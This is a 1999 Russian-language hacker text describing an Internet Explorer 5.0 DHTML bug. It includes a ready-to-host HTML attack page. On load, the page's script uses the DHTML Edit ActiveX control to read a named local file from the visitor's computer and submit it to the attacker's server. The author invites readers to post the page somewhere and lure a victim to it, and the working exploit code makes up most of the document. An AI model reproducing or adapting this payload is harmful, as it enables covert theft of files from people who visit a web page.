IE5 -ГЛЮКИ IE5 - КАК ИМИ ПОЛЬЗОВАЬСЯ!!!
=) А тут я расскажу о баге, кторый внесен благодаря
микрософту,
в IE 5.0 и который позволяет просматривать и сливать файлы с
удаленного компа...
Суть в том, что был допушен баг при внесении
в Internet Explorer 5.0
DHTML кодов... О них писать не буду -- есть много хороших справочников,
я рекомендую "Dynamic HTML справочник" Алекса Хоумера и Криса Улмена,
СПб, ПИТЕР, 1999 г., 512 с... =)
Едем дальше: в IE 5.0 не предусмотрели проверку,
когда мы переводим имя файла
в FILE object... Когда мы заделаем это при помощи JavaScript (о них тоже лучше
читать, я рекомендую "Язык программирования JAVA" Кена Арнольда и
Джеймса
Гослинга, СПб, ПИТЕР, 1997, 304 с...), мы смело можем отсылать его на удаленный
сервер... =) Спасибо Блину Гей-тсссу, за наше веселое детство!..
Дальше приведен текст странички, которую вы
где-нить размещаете, и приглашаете
туда злого перца... =)
<HTML><HEAD><TITLE>IE 5.0
читалка</TITLE>
</HEAD>
<BODY>
Тут запрятан баг Internet Explorer 5.0, который позваляет качать файло с
удаленного компа.. =)
<BR>
Имя файла должно быть известно
<BR>
Спасибо хорошим людям, которые это обнаружили и донесли до меня!.. =)
<BR>
Слито с сайта HalloWeen Group <A HREF="http://www.halloween.da.ru"></A>
<BR>
=)) ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ!
<BR>
<BR>
<INPUT TYPE=TEXT ID=A1 VALUE="C:\TEST.TXT">
<SCRIPT>
function f1()
{
document.all.A1.select();
document.execCommand("copy");
dh.DOM.forms(0).elements(0).focus();
dh.execCommand(5032);
setTimeout("dh.DOM.forms(0).submit();",1000);
}
function f()
{
alert("Создайте файл C:\test.txt и он будет считан и показан в другом окне
\n
Вы должны будуте подождать секунд около 30-ти... =)");
dh.loadURL("http://www.вашДомен.com/ВашЛогин/form3.html");
setTimeout("f1()",2000);
}
setTimeout("f();",1000);
</SCRIPT>
<OBJECT classid=clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A height=100 id=dh
width=700>
</OBJECT>
</BODY>
</HTML>
-------------------------------------------------------------------------
Все... =)) Тут в этой фиче есть еще много интерестных заморочек, но
о об этом может быть потом... =)
Написано 22.07.99 под "Fatal Portrait"
Кинга Даймонда
Knight
of He